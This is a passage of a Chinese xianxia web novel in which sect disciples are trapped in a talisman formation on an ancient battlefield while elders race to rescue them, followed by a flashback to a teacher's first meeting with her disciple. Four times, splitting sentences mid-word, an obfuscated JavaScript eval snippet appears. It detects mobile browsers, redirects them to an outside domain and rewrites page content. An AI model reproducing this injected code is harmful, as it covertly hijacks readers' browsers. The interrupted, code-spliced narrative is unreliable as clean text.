几人根本来不及去想是何处出了问题,狼狈地抵挡着符文和怨气的双重进攻。叶天舟和杜昱背抵着背,合力用剑将飞来的符文击退。只是那符文强悍非常,竟将他们的虎口都震得微微发麻,足以想见布下这些符咒之人的修为有多么高深,只怕是在当今整个修仙界都寻不出几人来。 杜昱满眼都被混杂着符文的黑雾占据,他隐隐看见前方有两道人影,当即对叶天舟大喊:“是燕师妹他们!” “你说啥——”叶天舟也扯着嗓子喊道,他们身上的金光护体符早便被攻破了,怨气中掺杂着的痛哭与尖啸声环绕在他们耳畔,吵得他们耳膜生疼。 “我,说——”杜昱啧了一声,放弃喊话,直接动手将叶天舟的头扭向了燕明昭和柳甫畅的方向。 这两人是阵修,根本应付不来这突如其来的袭击,正手忙脚乱地用随身携带的符纸抵挡着。可绘符之人修为悬殊,往往数十张符纸才能挡得住一道符文的进攻,很快便要撑不住了。 杜昱和叶天舟连对视一眼的动作都无,就分外默契地同时向他们赶去。 乾坤袋中的符纸已所剩无几,燕明昭与柳甫畅只能动用体内的灵力来防卫。又是一道符文飞来,两人抵挡不及,眼看着那道符就要袭向燕明昭,柳甫畅瞳孔骤然放大,来不及多思,就将燕明昭揽进自己怀中,双眼紧闭,想为她挡下这一击。 可预想中的疼痛并没有到来,两道剑光短暂地刺破了遮天蔽日的黑雾,长剑与如有实质符文相接,发出镗然一声响。柳甫畅讶然回头,眼底露出喜色。 下一瞬,一道分外耀眼的金光出现在了弥漫的黑雾中,正是那金光护罩。杜昱和叶天舟对两人点了点头,四人一同向着那处跑去。 他们得先去与其他三人会合。 杜昱和叶天舟拿剑开道,燕明昭和柳甫畅则用符纸和灵力断后。明明那充满希望的金光看着没多远,他们却都觉得这条路太长太长,险些就要撑不下去。 终于,金光护罩完整地出现在他们面前,谢淳坐在阵中维系着阵法,见了他们,神色焦灼地喊了句什么。他们听不见他的声音,但能看清他的口型——快进来。 待距离足够近后,几人立马弯腰入阵。这一刹那就好似来到了另一个世界,耳边那些尖利的哭喊声,扑在人身上生疼的怨气,还有那避无可避、无处不在的符文全都消失了,所剩的都是他们再熟悉不过的同伴。 杜昱和叶天舟一屁股坐在地上,他们的神经自方才起就高度紧绷着,此时一放松下来,顿时按捺不住地吐了一口血出来。鲜血染红衣襟,两人看着彼此,却同时笑出了声,指着对方道:“哈哈哈杜兄,你也有这么狼狈的时候啊!” “还说我呢,也不看看你自己什么样!”两人互相笑话着,在这终于能喘口气的护罩下碰了个拳。 为这么多年的相识,也为这险境之中能把后背托付给对方的信任。 “师妹她怎么了?!”燕明昭的惊呼将他们拉出了这短暂的劫后余生的欣喜。 为节省体内灵力,护罩并不大,仅能堪堪容下他们七人,连直起腰来都勉强。“梁师妹/梁仙友怎么了?”两个身高腿长的剑修艰难地转过了身。 随后就见梁惜因躺在重霄怀中,看着像是昏过去了,清丽的脸上眉头紧皱,一副不甚安宁的模样。而重霄半抱着她,面上神情晦暗不明。 “怎么回事,师妹被攻击了吗?”柳甫畅焦急问道。 “不。”重霄的嗓音有几分发哑,“我一直站在姐姐身边,符文一出现,她便倒下了...” 布个渡灵阵对他而言再容易不过,是以他在布阵时一直用余光注意着站在他身旁的梁惜因。也正因如此,他才能在梁惜因晕倒的一瞬间将人接住。 借着衣袖的遮掩,重霄将手指搭在了梁惜因的脉上。一缕怨气悄无声息的进入梁惜因的筋脉中,在她的四肢百骸间游走着。重霄面色愈沉,梁惜因体内除了突然多出大量纯净灵力外就再无异样了。可为什么...他心里怕极了,上次梁惜因这般安静地被他半揽在怀中还是两百多年前,而那次的她,再也没有醒来。 他不想让当年的事重演,可此刻他却连梁惜因为何会出事都不知。两百多年过去了,他还是这么一无是处,只能眼睁睁地看着这一切发生,像个废物一样什么都做不了。重霄颇为嘲讽地想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740371|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,把梁惜因的手又握紧了些。 燕明昭揉了揉眼睛,是错觉吗,她刚刚好像看到重霄眉间出现了一个红色印记? 还有一点重霄没说出来,在符文出现的刹那,他就已凝出怨气要为梁惜因挡下攻击了,可这些符文却如有意识般的并不攻击她,转而攻击其他人去了。 重霄眼帘半垂,心中隐隐有了猜测。能布出这种符阵的,怕是只有那位了。 “小师妹确实是在一开始就晕倒了。”谢淳启唇道,“我与梁公子站得不远,他接住小师妹后,便掩护我布下了这道金光护体阵。” “所以师妹到底为什么会晕啊?不会有事吧?”燕明昭满目担忧。 “不知,眼下只能先想办法出去再说。”无论什么时候,谢淳总是最为淡定。 “所以这到底是什么情况啊?不是要净化怨气吗,这些符又是从哪冒出来的?”杜昱早就想问了。 谢淳答道:“是符阵,你们看地面。” 几人低头,果见浅淡的金光下隐隐浮动着阵纹。 叶天舟要崩溃了:“阵不是破了吗?怎么还有阵啊?!” 柳甫畅思索着说:“看来是两个阵法叠加在了一处,且此阵设得隐蔽,估计是受了归虚阵破的影响才被触发的。” 燕明昭仔细观察着地上流动的阵纹:“这符阵的攻击力极强,极有可能是为守护什么东西,防止人蓄意破坏而设。” 叶天舟低声吐槽:“这荒郊野外的古战场有什么好守护的啊...” “那我们要怎么出去?”杜昱问出了最关键的一点。 谢淳说:“三种办法。其一,布下反阵。但布反阵之人需与布阵之人修为相当,方能将阵压制住。而布下此阵之人的修为极高,想必你们也都感受到了,接近元婴后期,所以此法行不通。” “其二,等布阵之人留在阵中的灵力消耗完了,这符阵就会自动瓦解。但我方才探测过了,以阵中剩的灵力来言,再运转个几十年都不成问题,所以此法也不行。” 叶天舟吞咽了口唾沫,犹疑着问道:“...那第三种呢?” “更简单了,等把我们几人全都杀光了,这符阵自然也就停了。” 叶天舟:“......”他以前怎么没发现谢淳还挺幽默的。 燕明昭的神情越发凝重,“师兄,你还能撑多久?”她问。 “不到一刻钟。”谢淳不敢托大,他额上已渗出了不少细密的汗珠。若是只有符阵或只有怨气那还好办一些,可这两者加在一起的威力实是令人难以承受。布符阵之人的修为太高了,而这怨气更是由死在战场上的数万名将士的怨念凝聚而成,完全不是寒林秘境中那些魔兽、妖兽加在一起所能比的。 柳甫畅想说自己和燕明昭可以轮换着替谢淳维系阵法,可话还没说出口,他便意识到两人一路走来,体内的灵力已消耗得差不多了,根本帮不上什么忙。 “难道真就毫无办法了吗?”杜昱捶了下地面,不甘地说道。 “不会,苏师姐和江师兄还在外面,他们见状定会向宗内长辈求援的。”燕明昭慢慢冷静了下来。 59. 求援 “是了,我都要忘了。”柳甫畅神色稍缓,他抬眸看向头顶的护罩,薄薄的金光外是浓厚的看不见尽头的黑雾,沉沉地压在护罩之上,直令人喘不上气来。 源源不断的符文密密地击打在护罩上,留下一个个浅淡的印记,越来越多的印记叠加在一处,震得整个护罩都在微微晃动,愈发显得其渺小与脆弱。 “只能先尽可能多撑一会了。”他道。 话落,阵中一时陷入静默,只余翻找瓷瓶的声音。他们几人方才不仅灵力损耗巨大,且无可避免地被怨气入了体。万幸此前苏柚给他们的药足够多,化解怨气的、恢复灵力的、治疗内伤的...一应俱全。 杜昱一下往口中倒了近十粒药丸,边嚼吧着边含糊不清地说:“等出去了得好好谢谢苏师妹才是。” “多亏了她考虑周到。”燕明昭接了一句,闭上眼睛开始静坐调息,可她的心却静不下来,脑海中不断回放着不久前柳甫畅的怀抱。她将眼睛睁开一条缝,偷偷瞥了眼身旁的柳甫畅。 而柳甫畅恰好也在看她,两人目光相触,柳甫畅顿了少顷,对她露出一个笑来。 既然已经被发现了,燕明昭干脆直接问他道:“姓柳的,你知不知道这符阵有多危险?要是打在人身上,小命都能去掉半条。” “我知道啊。” 话虽如此,他的神情看上去依旧不甚在意。燕明昭心中一急,嗓音也不禁提高了些:“那你还...” “所以更不能让师姐受伤了,我来挡就行。”她话还没说完,就被柳甫畅打断了。 柳甫畅唇角噙着笑,一双桃花眼中潋滟着说不清道不明的情谊。燕明昭的气势一下就弱了下来,自耳根而起的红晕悄然蔓延到了脸颊,她移开视线,讷讷应道:“...哦。” 心念一动,燕明昭默了片刻,低声说:“等出去了,我有话对你说。” 柳甫畅立即问道:“什么话?现在说不行吗?” “不行!诶呀你话真多,我要调息了,别来影响我。”燕明昭扭过身子背对着他。 “是,师姐。”柳甫畅注视着她的背影,不知想到了些什么,整个耳朵都红透了。 之前在护罩外情况紧急,他根本无暇细思,脑中一片空白,身体却已快过思考的将燕明昭拥入了怀中。在那千钧一发之时,他的脑中只闪过一个念头——若是就这么死了,好像也没有多亏。 小小的一方护罩内,一侧是重霄半抱着梁惜因,眼里的担忧与自责几要化为实质;一侧是柳甫畅盯着燕明昭的背影,满目柔情。 杜昱和叶天舟不约而同地把自己往边缘缩,他们与正努力减少自己存在感的谢淳对视了一眼,俱是读懂了对方眼中的含意——同是天涯沦落人啊! - 归虚阵外,平野之上。 苏柚和江映和因担心出事,一直守在原处,没有回永怀村。梁惜因几人入阵时是在下午,而此时已到了第二日的黎明,苏柚在心里头数着时辰,估摸着他们也该出来了。 平野是古战场,平日里不会有人无缘无故地跑到这来,全都怕撞了晦气,是以天地之间都是静悄悄的。 苏柚伸了伸胳膊,活动着坐久了有些僵硬的身体。下一刻,一片寂静的平野上骤然涌现出了几丈高的怨气,似要将天地都吞没。 正盘坐在地上画符的江映和猛地起身,手忙脚乱地把散了一地的符纸往乾坤袋中塞,高呼道:“阵破了!” “他们成功了!”苏柚面露惊喜。 符与阵的联系向来紧密,江映和身为符修,对阵法也有些了解。按理说,幻阵破了,下一步就该净化阵中怨气了。可这些积久的怨气不仅没有消散,反而愈发肆虐,甚至有往周遭村落蔓延的趋势。 ...不对,天璇峰的那几人不会任由事情发展到这种地步,定是哪里出了问题。来不及多想,江映和反手甩出二十张镇魔符,将怨气暂时封于平野之上。 身为医修的苏柚也察觉到不对劲了,一颗心直要跳到嗓子眼:“江师兄,这...” 江映和皱着眉,紧紧盯着那些被封住的怨气。只见缭绕的黑雾中,无端出现了无数溢着白光的符文,一道一道地向着某个方向飞去。 “不好!是符阵!”他大喊。 “什么,里面还有阵?!”苏柚一惊,声音微微发颤,“江师兄,快传求救符!” 不待她多言,江映和早已看出眼下这情况根本不是他们能应付得来的,当即抽出几张求救符来,“华州,平野,望速来!” - 玄晖宗,天枢峰。 从皇城回来后,宗内所有峰主与长老都聚在了主殿中。站在殿中最前方的那人白发白衣,身姿挺拔,面容清俊,乍眼看去好似那天上谪仙,腰间佩着的长剑即使没有出鞘也能让人感受到隐隐的威压。 殿内诸人一齐拱手对他道:“恭贺掌门出关。” 谢既微抬了抬手,嗓音清润:“何必多礼,都坐吧。”他啜了一口杯中温茶,照例问道:“我闭关的这些年,宗内可有何要事?” 众人就等着他这句话,顿时喋喋不休起来。 谢既微听得眉头蹙起,撇去那些重复的废话,大意就是...“魔族有异动?”他问。 “正是。掌门,这么多年过去了,魔族还是那般狡诈狠毒,寒林秘境中的幽炼阵实令我宗元气大伤啊!” “岂止啊,陆家主的遇害定也与魔族脱不了干系!” “也不知是谁那么有能耐,甚至把漆吴山的阵都给破了。” 谢既微按了按额角,魔族与人族这么多年来大体算得上相安无事,为何会在最近闹出这么多事来?而且这些事当真全都是魔族所为吗?且这人既能将手伸进玄晖宗,只怕是宗内出了叛徒。纵然心内疑问再多,他面上仍是不动声色,在脑中迅速理着这几件事。 “陵州乐楼的缚魂阵,寒林秘境的幽炼阵,以及陆家主之死...不排除这背后是同一人所为,就算不是,他们彼此之间也极有可能存在关联。”谢既微声音不大,但在他开口的一瞬间,原本吵闹的主殿立时安静了下来。 “若假定这是同一人所为,那此人不论是魔族还是人族,修为定然不低,且对阵法和邪术都有着极深的研究。缚魂阵是为搜集怨气,幽炼阵是想吸收我宗弟子修为,但害陆家主一事完全是吃力不讨好,毕竟冥龟子极难操纵,此举莽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745819|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞,除却私人恩怨外,我暂且想不出他这么做的理由。这些事都造成了同一个后果——激化人、魔两族的矛盾,乃至在日后重新挑起两族大战。” “那现下该怎么办?”有心急的长老忍不住问道。 谢既微继续缓缓道:“我若是那幕后之人,为修炼邪术,定不会只搜集乐楼一处的怨气,而是会在人间伤亡多和执念重的地方都布下同样的阵法。” “近百年来,人世动荡,妖魔横行,灾祸不断。此类地方定是不少,但真正有足够怨念的却只有那么几处。眼下线索太少,查不出那人是谁,但可以先通过破阵来削弱他的实力,再试试能否从阵中找出些线索来。” 他语速不急不缓地为众人指出当下可行之法,不少原本还很是焦急的修士顿时安心不少。是了,有何好怕的,就算真打起来,也还有掌门在呢。他们掌门可是当今剑道第一人! “诸位,关于这些地方,你们有何想法?”谢既微紧接着问道。 “平野!那可是古战场啊!”崔峥平时就对凡间的战役颇有研究,当即第一个接话道。只是他没注意到,在他脱口而出平野二字后,谢既微的神色闪过一瞬间的不自然。 “还有淮州,当年凡间两国交战,西朔屠了半座淮州城。”席青如也说。 “这么说来,潼关也不是没有可能。”一名长老道。 一番商讨下来,众人先定了五处地点,明日便会由各峰峰主前去查探。殿内诸人又开始商议宗内这些年来的大小事务,待集议终于结束后,天色已近深夜,众人各自回了自己的住处,主殿重新变得空旷起来。直到最后,殿中只剩下了谢既微一人。 他仍旧坐在殿内最前方,深深叹了口气,只觉闭关了那么多年都不及今天这一天累。他早料到出关后会有很多事等着他来处理,但这也太多了吧!连魔族都出来了! 可谁让他是掌门呢。 虽是深感疲惫,谢既微却并未直接回房休息,而是御剑前往天玑峰。 晚风轻扬,稀星点点。黑夜使一切都变得迷迷蒙蒙起来,就连前路也不甚清晰。但御剑而行的谢既微却无一丝一毫的迟疑,像是这条路他已走了无数遍,早已熟记在心。 他没有停在天玑峰上,而是径直去往属在天玑峰名下的一座很不起眼的侧峰。这侧峰平日里是不准弟子来的,不过可能也不会有弟子会突发其想地跑到这看上去平平无奇的侧峰上来。 但只要一踏入其间,就会发现此地景致优美,灵气充沛,清泉在夜色下发出汩汩的声响,古木参天,却丝毫不显幽暗。不远处有一质朴的木屋,屋门口的灯盏在这寂寂黑夜中摇晃着唯一的光亮。 谢既微抬脚向那木屋走去,屋外用篱笆围成的院落中种满了灵植与药草,几只仙鹤正单脚立着睡觉,察觉到有人来了,它们将脑袋从翅膀下探出,见是谢既微,抖了抖羽毛,又重新把脑袋埋回去睡了。 木屋的门半掩着,谢既微抬手轻轻一推,屋内的景象便尽数显现在他眼前。屋里的装饰简朴而不失清雅,位于正中的桌旁坐着一青衣男子。这男子眉目俊朗,肤白如玉,如墨的长发仅用一根玉簪半挽着,正在烛火下闲闲翻阅着一册书。 60. 齐赴 门被推开后,那人眼睫都不曾动一下,继续将手中的书翻到下一页,缓缓启唇道:“既微,你来了。” “惜时,我还怕这么晚过来会打扰你休息。”谢既微走入屋内,在他对面坐下了。 “我知你出关后会来,你我这么多年的交情,我又岂会让你白跑一趟?”梁惜时淡笑着说,这才将手中的诗集放到一旁,将桌上早已备好的清茶推向他面前,“集议开完了?” 谢既微端起茶盏浅啜着,里头的茶水还是温热的,清香醇厚,“开完了,早知有这么多事要处理,我倒还不如一直闭关下去。”身为整个玄晖宗的主心骨,他也只有在这位多年的知交面前才能吐露些心声。 “那事情只会越积越多。”梁惜时也抿了口茶,无情揭穿道。随后又问他:“魔族的事处理得如何了?” 谢既微略感诧异:“你也知道这事了?” 梁惜时轻笑:“我是不当峰主了,又不是彻底与世隔绝了。这事在整个修仙界都闹得沸沸扬扬,我自是也有所耳闻。” 谢既微不由笑道:“也是。”他将近来几件事与集议上的决定一并简要说了遍。 梁惜时肃了神色道:“果然棘手,我若是你,怕是也想回去闭关了。” 谢既微轻叹一声:“慢慢来吧,总会解决的。你身体近来如何?这些事情还是少操心为好。” “老样子罢了。”桌旁的窗户没有关严,一缕风从缝隙中漏了进来,吹动了梁惜时耳侧的发丝。他的面容很是清隽,可细看之下,不难发现他眼底萦绕着的愁绪,多得像是隆冬时节降下的雪,一片一片,冬天不结束,这雪便融不尽。 “你,唉...”梁惜时是什么性子,谢既微再知晓不过。可每次见面他还是忍不住道:“这么多年过去了,你还那般认为吗?” “嗯,她会回来的,我要等她。”梁惜时语气平淡,却有种令人难以反驳的力量在。 “只是这般下去,你的修为要何时才能恢复?”谢既微忧心道。 梁惜时笑道:“如今这世间还算得太平,天玑峰内也不乏天资高的后辈,轮不上我来操心。还是说,你觉着我在玄晖宗吃白饭吃太久了?” “你明知我不是这个意思。”谢既微无奈道,他自知是劝不动他了,转而说:“扶岳上次是何时来的?” 梁惜时回道:“就在上月。他知你出关,这几日估计还会回来一趟。” 谢既微重又露出笑意:“我闭关前埋下的酒想必也已酿好了,待他来时,正好可供我们几人小酌一番。” 梁惜时回忆了番上回喝酒的场景,接道:“好,到时可得多看着点扶岳,别让他又喝多了在我这耍酒疯。” 橙黄的灯火下,二人漫无边际地说着闲话,杯中的茶水添了一盏又一盏。直至新一日的晨光透过窗棂倾泄进来,谢既微才起身说:“我该走了,宗内还有事要处理。” 梁惜时披上外袍,也站起身来:“我送送你。” 谢既微将门推开,微弱的日光照进屋中,他微微侧头道:“不必远送,我...” 未说出口的话被他脸上愕然的神情取代了。只见梁惜时站在光与暗的交界处,一手撑在椅背上,一手按住了心口,嘴中涌出的鲜血在青衣上留下刺目的痕迹,有几滴鲜血落在了地面上,在两人怔愣的同时发出了极轻极轻的“滴答”声响。 “惜时!”谢既微很快反应过来,几步上前将人扶住,“怎么回事,可是服了什么烈性灵植?” 他想要将人扶回椅子上坐下,却意外地没扶动。梁惜时站在原地,身体轻颤,眼中俱是血丝。他抬起头看向谢既微,嗫嚅着说出了他日思夜想之人的名字:“...是阿因。” “什么?!你是说含盈她...”谢既微顾不上被他攥得生疼的小臂,内心震惊到难以相信,但他更清楚梁惜时绝不会再此事上说谎。 “就在平野,我得去见她,我得去见她...”梁惜时无暇细说,他什么也顾不及了,跌跌撞撞地就往屋外跑,披在肩上的外袍随着他的动作滑落在地,掩住了那星星点点的血迹。等真到了屋外,他又意识起以自己如今的修为根本到不了平野,又回头去看谢既微。 谢既微心知此事耽误不得,哪怕心中有再多疑问也只得先按捺住。他正要带梁惜时御剑前往平野,就有一张符纸迎面飞来。 谢既微神色一凛,两指夹住那张符,沈逍的声音便在他脑中响起——“出事了掌门!宗内几个弟子被困在平野上了!” “我已知晓,你速带各峰主和长老赶往平野,我现在就去。”符纸重新飞了回去,梁惜时站在他身后,嗓音还有些发颤,“怎么了?”他问。 谢既微御剑升空,双眉紧拧:“平野,当真出事了。” - 天枢峰上,才空了没多久的主殿复又站满了人。 “出什么事了?我这才刚睡下。” “说是有弟子被困在平野上了,情况好像还很危急。” “平野?那不是马上要去探查的地方之一吗,现在怎么会出事?” 与那几位还有心思闲聊的长老不同,殷照此刻正急得原地打转。开完集议后,他正打算喝几口小酒松快松快,就见桌案上浮着一张符,在昏暗的室内散发着极淡的微光。 他打了个哈欠,不甚在意地将符纸拿起,就听得他那大徒儿对他道:“师尊,平野旁的村落有异象,我与师弟师妹及几位同门前去料理,勿忧。” 谢淳话音落下的那一刻,这道留声符便自动燃为了灰烬,很快就连灰烬也消失得无影无踪。 哦,料理异象啊。这么多人一起,想来也出不了什么岔子...等等,去哪料理来着,平野?殷照心中陡然升起了一股不详的预感,就在下一刻,又一道符纸从窗外飞了进来。 “华州,平野,望速来!”听着脑中江映和焦急的声音,殷照直接将符纸揉作了一团,还勿忧,勿忧个鬼啊! 他慌慌忙忙地就要布缩地阵,结果又有一道符纸飞来。 殷照:“......”还有完没完!他真的不想再听到更坏的消息了啊!! 不过这次脑海中响起的是沈逍平静的声音,他言简意赅地道:“天枢峰,速来。” 赶往主殿中的人越来越多,沈逍和几位峰主站在前方,面沉似水。在收到自家徒儿的求救符后,沈逍便料想此事没那么容易解决,是以当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761460|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即请示谢既微。待收到回复,他又立即去符告知其余长老和峰主,一分一秒都没敢耽搁。 此时聚在殿中的长老还不到一半,沈逍不愿再等了,时间多浪费一秒,宗内那几名弟子便多一分危险。他当机立断地对殷照道:“殷峰主,布阵吧。” 殷照就等着他这句话,几下便布好了个缩地阵,自己率先踏了进去。也不怪他这般焦灼,他殷照一共就四个宝贝徒儿,这会儿可全在平野上了,他们天璇峰的人本来就少,这要是出了事...他简直不敢再想下去了。 殿内诸人紧随着踏入了阵中。与此同时,平野之上,符阵的攻击愈发凶猛,谢淳终是支撑不住,猛地吐出了一口血来。 “师兄!”燕明昭一惊,立时上前将人扶住,柳甫畅则在同一时刻接替了谢淳,把自己的灵力注入阵中。可他的灵力也才堪堪恢复一点,根本支撑不了多久。 “照顾好师兄!”燕明昭见状,把谢淳交给杜昱和叶天舟二人,将自己的灵力也一同注入进阵中。 杜昱和叶天舟对视一眼:“叶兄,待会阵破了该如何?” “打呗,还能如何。难不成你怕了?”叶天舟挑眉道。 “怎么可能。”杜昱轻嗤一声,将手按在了剑柄上,长剑感受到了主人心中的战意,发出轻微的嗡鸣声。是啊,这种情况下,除了打,还能怎么办?不到最后一刻,他们便不会放弃。 重霄半垂着眼帘,静静地抱着梁惜因坐在角落中。他不在乎护罩会不会破,对他而言,护下这里的所有人并非难事,只是到时解释起来可能会有些麻烦... 就在这时,他突觉一直握着的梁惜因的手动了动,重霄心头一喜,忙低声轻唤:“阿因?” 不知是不是听到了重霄的唤声,梁惜因慢慢睁开了双眼,她神色恍忽,眼角凝着一滴泪。看着眼前关切的面容,梁惜因双唇轻动,唤道:“...小徒儿。” 重霄面上的笑意一滞,一颗心如坠冰窟。 符阵外,江映和紧咬牙关,双手结印,死命驱动着那二十张镇魔符,不让里头的怨气溢出来。苏柚在旁默默祈祷着众人都能平安无事,宗内长辈们在收到求救符后能快些赶来。 泛白的天边飞过一道剑影,苏柚余光瞥见,立马仰头望去。只见站在前方的那人一头白发,醒目非常,正御着剑缓缓下落。苏柚心中狂喜,对江映和高呼:“是谢掌门!” “太好了!掌门定然有办法!”江映和连抬头看一眼的功夫都无,心下却已然安定不少。 不远处的空气扭曲了一瞬,一道阵门凭空出现,殷照第一个从阵中走了出来,见了苏柚就急哄哄地问:“我徒儿呢?” “殷峰主。”苏柚指了指前方,从阵中出来的一众峰主长老包括殷照都顺着她指的方向看去,于是全都看到了令他们此生难忘的一幕。 黄沙漫卷,缠绕的黑雾乌云般贯穿了天地,里头不时浮现的符文则有如闪电,发出令人胆寒的微芒。这些黑雾被困于二十道镇魔符间,宛若一个张着巨口的庞然大物,誓要将眼前众人吞入黑暗之中。 崔峥两眼瞪大,脱口而出道:“额滴个娘诶,这辈子我头一回见这么多怨气...” 61. 初识 玄晖宗内向来是冬暖夏凉,宜人极了。七大峰耸立在轻似薄纱的云层间,从远处看皆是清一色的郁郁葱葱、仙气缭绕,美得直似那文人墨客手下的山水画。 走入其中后,便会发现各峰皆有各峰的美,天枢峰的磅礴、摇光峰的清雅、开阳峰的豪旷...每一峰都以其蕴含的充沛灵气滋养着宗内弟子,千百年不衰。 时值初夏,天璇峰上的古木在阳光下舒展着枝桠,那一片片叶子上的绿,浓郁得好似随时要滴落下来。草色翠然,灵植轻曳,不知是何品种的灵鸟栖在枝头上,给这生机盎然的景致添上了一曲婉转的歌谣。 穿林而过的风不仅没有丝毫燥意,还携着悠悠的草木清香,轻渺渺地扑到人身上,沁人心脾。碎金般的斑驳光影下,两名男子并肩而行,一人白发如雪,一人墨发青衣,俱是身姿挺拔,面容俊美。 两人谁也没开口打破这份静谧,又如约好了般一齐向天璇峰东侧的一处院落走着。那院落雅致非常,院中种着一株梨树,一年四季常开不败,几束枝桠斜斜地伸到院外,莹润的玉色梨花随风轻轻摇动,几片花瓣打着旋地落在了地面上、屋檐上,甚至是人的肩上,一时让人分不清这究竟是天上云还是人间雪。 一块牌匾悬在半掩的木门之上,上面用俊秀的楷书写着——落雪轩。 青衣男子抬手推开木门,“吱呀”一声响,惊动了屋内之人。眨眼功夫间,一名白衣女子便从屋内来到了院中。来人肤色白皙,柳眉纤长,眼尾微微上翘,她看向门口的二人,顿时笑道:“哥,既微哥,我早料到你们会来。” 她一笑起来,就似暖春融雪,面上那点清疏悉数褪去,整个人都鲜活了几分。 梁惜时也笑着上前,揉了揉面前与自己面容有着四五分相似之人的脑袋:“阿因,听说你新收了个弟子?” “听说是个魔族?”谢既微话中并无丝毫轻蔑与敌视,只是单纯确认般地问道。当今修仙界,人族与魔族虽有隔阂,但也仅限于对那些作恶的魔兽,收魔族为弟子也算不上什么稀罕事。 “还是你们消息灵通,我昨日刚把他带回来,你们今日就找上门来了。”梁惜因调侃道。 谢既微忙自证清白:“我还不是被你哥半路拉来的,就他一天到晚打听你这天璇峰的事,恨不得直接从他的天玑峰搬到这来住。” 梁惜时深吸一口气,一手搭上他的肩:“我还不是看你闲得没事做,在宗内到处乱逛。” 谢既微不服:“这怎么能叫乱逛呢,分明是身为掌门去关心各峰弟子的起居。” 梁惜因笑眼看着二人,适时打断道:“好了二位,我那小徒弟身上还带着伤,昨日吃了玉衡峰送来的药便睡下了。我正要去看他,你们可要一起?” 那当然是一起。 三人走向弟子舍,一路上梁惜因不断向他们强调自家的小徒儿很是怕生,让他们万万不要吓着他。梁惜时起初还认真点头表示自己记下了,后面忍不住稀奇道:“能有你那二徒弟怕生?” “这...”梁惜因想了想,这差别自然是有的,但她也说不上来具体是何差别,便说:“差不多吧。” 到了弟子舍后,梁惜因让他们二人在外稍候,自己先去敲响了屋门:“阿霄,你起了么?” 屋内没有应答,梁惜因也不急,耐心站在门口候着。等了有一会,屋内始终没有动静,梁惜因心下不安,对屋内之人说了一声:“阿霄,我进来了。” 甫一推开门,梁惜因就被里头的景象给惊到了。屋内窗户紧闭,一丝渗进来的光亮都无,浮动着的黑雾几要将房屋填满。这些肆意缭绕的黑雾在察觉到有生人进来后,立刻如疯了一般向她席卷扑来。 梁惜因神色一凛,反手将门关上,双手结印,将这些黑雾逼退。只这一下便让黑雾意识到梁惜因不是那么好对付的,只得不甘地缩在了角落中,随时准备再次扑上来。 站在门口的梁惜因按了按额角,方才这些黑雾向她袭来时,她耳畔响起了一阵尖啸声。她能清楚地感受到这声音中的怨恨与痛苦,活脱脱的厉鬼哀嚎。这些黑雾不是魔息,分明就是怨气! 可为何会有如此多的怨气聚集在重霄屋内?是了,重霄!顾不上多想,梁惜因当即给自己施了个金光护体符,在昏暗的屋内寻找着那个小小的身影。房间不大,是以她一眼便看到了床上被褥下蜷缩着的那一小团。 梁惜因几步走了过去,眉间焦急难掩。她将手轻轻放在重霄藏身的被褥上,感受到他正不停地颤抖着。梁惜因压低嗓音,轻声说:“阿霄,别怕,是师尊。” 被下的人似乎说了句什么,梁惜因没听清,她弯下腰,又凑近了问道:“什么?” “...你走。”分明是很稚嫩的嗓音,却带着股不容人拒绝的寒意。 梁惜因却如没听到这句一样,依然低声道:“没事的,这里是玄晖宗,没人能伤得了你,师尊在这呢,别怕。”她轻拍着他的身体,像在安抚什么受惊的小动物。 也不知是不是她的宽慰起了作用,重霄竟真的不像先时抖得那般厉害了。梁惜因找准时机,一把将他身上的被子掀开。重霄完全没料到她会有这举动,当即翻身坐起,紧紧盯着床前站着的人。 梁惜因手上还捏着被子的一角,眼底闪过惊愕。掀开被子的一瞬间,又有怨气扑面而来,但都被她周身的护体符给挡下了。待黑雾散尽,她看见床上相貌精致的小人儿眼底布满了血丝,面色苍白如纸,额上泌满冷汗,眉间的印记与眼下的两枚痣赤红无比,而源源不断的黑雾正从他的掌中向外翻涌着。很显然,这满屋子的怨气,都是自他身上而来。 眼前的情况全然超出了梁惜因的预料,她昨日将重霄带回来时,也发觉了他身上缠绕的黑雾,只是那时她以为这些黑雾是魔息,而他是魔族。 屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 